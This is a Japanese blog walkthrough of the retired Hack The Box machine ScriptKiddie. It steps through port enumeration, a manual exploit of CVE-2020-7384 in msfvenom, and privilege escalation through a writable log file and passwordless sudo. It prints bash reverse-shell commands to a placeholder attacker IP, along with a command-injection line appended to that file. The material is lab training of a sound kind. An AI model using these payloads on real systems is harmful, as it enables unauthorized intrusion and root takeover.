コラムColumn

導入事例Case Study

サイバーニュースCyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせNews

【Hack The Box中級編】ScriptKiddie 攻略ガイド(Retired)

ScriptKiddie(リタイア済)を解いた記録です。マシン名の通り“スクリプトキディ”を揶揄するような出題要素がありますが、今回は Metasploit を使わずに CVE-2020-7384 の手動エクスプロイトで踏み込む手順を解説します。権限昇格(PrivEsc)はシェルコードの読み取りが理解できれば素直に進みます。
本章ではその手順を順を追って解説します。

免責事項:
本記事では Hack The Box(HTB)Retired Box の学習目的に沿って解説を行っています。
旗(user.txt / root.txt)の内容は記載していません。手順を通してご自身で取得してください。

01. 列挙(Enumeration)

まず VPN 接続とマシンの生存確認のために ping を行います。

TTL が 63 なのでこのマシンは Linux と推定できます。

次に Nmap の全ポート高速スキャンを実行します。

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.226

開いているポートは少数でした。続けて NSE を使った詳細スキャンを実行します(例:22,5000)。

nmap -sV -sC -oN DetailPorts.nmap -p 22,5000 10.10.10.226

SSH のバナーから OS が Ubuntu(Focal Fossa) であることがわかります(Launchpad のパッケージ情報も参照できます)。SSH の既知のエクスプロイトは特に有効でないため別経路を探します。

ポート 5000/tcp では Werkzeug が動いており、Web アプリケーションが公開されています。ブラウザ(Burp と連携)で http://10.10.10.226:5000/ を確認します。

画面を見ると LFI / SSRF / RCE など調査に値するポイントがあり、列挙を進めた結果、Foothold に到達しました。

02. Foothold(初期侵入・Metasploitを使わない手順)

今回着目する脆弱性は CVE-2020-7384 です。これは Metasploit の msfvenom テンプレート処理におけるコマンドインジェクション脆弱性で、Rapid7 のモジュール説明や関連 POC(Proof of Concept、概念実証コード) を参考にできますが、今回は手動で実行します。

まず公開されている POC(GitHub など)をホスト側に保存し、Python3 スクリプトを一行ずつ読み解きます。POC の payload 部分を書き換えて、リバースシェルを注入するのが基本的な流れです。

https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md?ref=192.168.10.7

コードの中には payload セクションが含まれています。
この部分だけを差し替えればよい仕組みです。

この部分が実際の POC コード内で定義されているペイロード箇所です。
ここを自分のリバースシェルに差し替えます。

こちらがペイロードを置き換えた最終的な exploit コードです。
YourIP を自分のマシンに合わせて変更してください。

ペイロード(Bash リバースシェル)の例

以下は bash リバースシェルの一例です。<YourIP> を自分の IP に置き換えてください。

/bin/bash -c "/bin/bash -i >& /dev/tcp/<YourIP>/4545 0>&1"

POC スクリプト内の payload 部分を上記に差し替え、python3 exploit.py のようにして実行します。

python3 exploit.py

実行後、生成される APK/ペイロードファイルは通常 /tmp に保存されます。必要ならダウンロードディレクトリ等に移動して扱いやすくしてください。事前に netcat をリスン状態にしておきます。

nc -lvnp 4545

エクスプロイトを実行して生成(またはアップロード/生成ボタン操作)すれば、リスナーに接続が飛んでくるはずです。実行ログや netcat の出力を確認してください。

03. 権限昇格(Privilege Escalation)

踏み台(foothold)からのさらに上の操作では、まずホームや .ssh を調べます。authorized_keys が存在する場合、SSH 公開鍵を追加してログインする手法が使えることがあります(今回は実行していませんが概念としてあり得ます)。

その後、/home/pwnscanlosers.sh というスクリプトを見つけました。ファイル自体は書き込み不可ですが、スクリプトの動作を解析すると外部ファイル(例:hackers)を参照していることが分かりました。hackers は書き込み可能であり、ここに悪意ある行を追加することでコマンド実行を誘発できます。

ローカルで scanlosers.sh の挙動を再現し、/home/kid/logs/hackers に書き込めることを確認した上で以下のようなペイロードを書き込みます(<YourIP> を置き換えてください)。

echo "h4rithd  ;/bin/bash -c 'bash -i >& /dev/tcp/<YourIP>/7878 0>&1' #" >> /home/kid/logs/hackers

h4rithd; の間にダブルスペースが必要なケースがあるので、発注どおりに記述してください。

リスナーを起動しておきます:

nc -lvnp 7878

スクリプトが実行されると pwn ユーザーとしてリバースシェルが得られます。取得したシェルで sudo -l を実行して sudo 権限を確認します。

sudo -l

このボックスでは /opt/metasploit-framework-6.0.9/msfconsole をパスワード無しで sudo 実行できる設定になっており、これを利用して root 権限を取得できます。sudo で root コマンドを実行して root.txt を見る例:

sudo /opt/metasploit-framework-6.0.9/msfconsole
sudo cat /root/root.txt

ここで root フラグの取得に成功しました。root フラグを取得できれば完了です。

まとめ(学習ポイント)

  • ポート・サービス列挙から攻撃対象を絞る基本(Nmap + NSE)。
  • Werkzeug(Flask/Werkzeug 系)の挙動調査と Web アプリ列挙。
  • CVE-2020-7384 のようなテンプレート/コマンド挿入脆弱性を手動で利用する方法(POC の読解とペイロード差し替え)。
  • 一時ファイルや生成物(/tmp)を追跡してペイロードを取得する運用。
  • ファイルの書き込み権限を逆手にとるローカル権限昇格パターン。
  • sudo -l による誤設定の発見と活用。

今回の流れは「POC を読み、自分で payload を作る」ことの重要性を示しています。
Metasploit に頼らず手動で理解することで、より応用力の高い技能を身につけられます。
実戦的なボックスに進む前に、ぜひ何度か復習してみてください。
Happy Hacking!

注意・免責:

  • 本記事の手順は Hack The Box の学習環境における教育目的での説明です。記載されているコマンド、ユーザー名、パスワード、IP アドレス等は演習用のものであり、実在するシステムでの同様の操作は法律に抵触する可能性があります。
  • 本記事で紹介する手法は防御力向上のための知見提供を目的としています。第三者のシステムに対する不正アクセスやデータ取得を助長する意図はありません。
  • 記事の内容を実運用環境で試す場合は、必ず対象システムの所有者から書面による許可を得てください。疑問点や報告がある場合は、当社までご連絡ください。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top